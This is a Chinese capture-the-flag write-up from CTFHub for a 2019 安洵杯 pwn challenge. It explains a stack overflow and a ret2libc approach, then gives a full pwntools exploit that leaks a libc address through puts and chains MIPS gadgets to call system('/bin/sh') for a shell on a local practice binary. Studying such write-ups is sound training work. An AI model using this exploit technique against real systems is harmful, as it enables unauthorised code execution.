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分析分析

逆向代码，在 vuln 函数中存在一处栈溢出

但是没有 system 函数，需要进行 ret2libc 的利用，先泄露出 got 表里面的内容，之后调用 system 函数即可。

/bin/sh 字符串在 libc 中也可以找到，直接调用 system("/bin/sh") 即可
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from pwn import *

#context.log_level="debug"

r = remote("127.0.0.1",8881)
#r = process("./build_pwn2.sh")
elf = ELF("./pwn2")
libc = ELF("/home/h4lo/mipsel-env/lib/libuClibc-0.9.33.2.so")

payload = "H4lo"
#payload += p32(0x00410AA0)

r.recvuntil("What's your name:")
r.sendline(payload)

sleep(0.2)
r.recv()

sleep(0.2)

# gadget1
payload = p32(1) * 9
payload += p32(0x004006C8)

#payload += p32(elf.plt['puts'])    # fp
payload += p32(1)

payload += "a" * 0x18
payload += 'a' * 4 # s0
#payload += p32(elf.got['puts']) # s1
payload += p32(0x00410B58)
payload += p32(0x0040092C) # s2

payload += 'a' * 4 # s3
payload += p32(0x004007A4) # ra

payload += 'a'*0x20
payload += p32(0x004007C4)

sleep(0.2)
r.send(payload)

r.recv()
#success(a)
libc_addr = u32(r.recv(4))-libc.symbols['puts']

success("libc_addr: " + hex(libc_addr))

r.recv()
#r.send(payload)
system_addr = libc_addr + libc.symbols['system']
binsh_addr = libc_addr + 0x9bc48

# gadget2
payload = 'a'*0x24
payload += p32(0x004006C8)

payload += 'a'*0x1c
payload += 'a'*4 #s0
payload += p32(binsh_addr)
payload += p32(system_addr)
payload += 'a'*4
payload += p32(0x004007A4)

r.send(payload)

r.interactive()



本文作者：本文作者：  CTFHub
本文链接：本文链接：  https://writeup.ctfhub.com/Challenge/2019/安洵杯/Pwn/mKYJDpH2CJBtJ1Sjvn6Qaq.html
版权声明：版权声明：  本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

# Challenge # Pwn # 2019 # 安洵杯
PWN4
rand

https://writeup.ctfhub.com/Challenge/2019/%25E5%25AE%2589%25E6%25B4%25B5%25E6%259D%25AF/Pwn/mKYJDpH2CJBtJ1Sjvn6Qaq.html
https://creativecommons.org/licenses/by-nc-sa/4.0/
file:///tags/Challenge/
file:///tags/Pwn/
file:///tags/2019/
file:///tags/%25E5%25AE%2589%25E6%25B4%25B5%25E6%259D%25AF/
file:///Challenge/2019/%25E5%25AE%2589%25E6%25B4%25B5%25E6%259D%25AF/Pwn/w11rsFM8Mivn6aVLzoM6Y5.html
file:///Challenge/2020/%25E7%25BD%2591%25E9%25BC%258E%25E6%259D%25AF/%25E7%2599%25BD%25E8%2599%258E%25E5%259C%25BA/Crypto/uDCoGsHmHe8SfLoTMwQ5SU.html

	PWN5
	WriteUp来源
	题目考点
	解题思路
	分析
	EXP



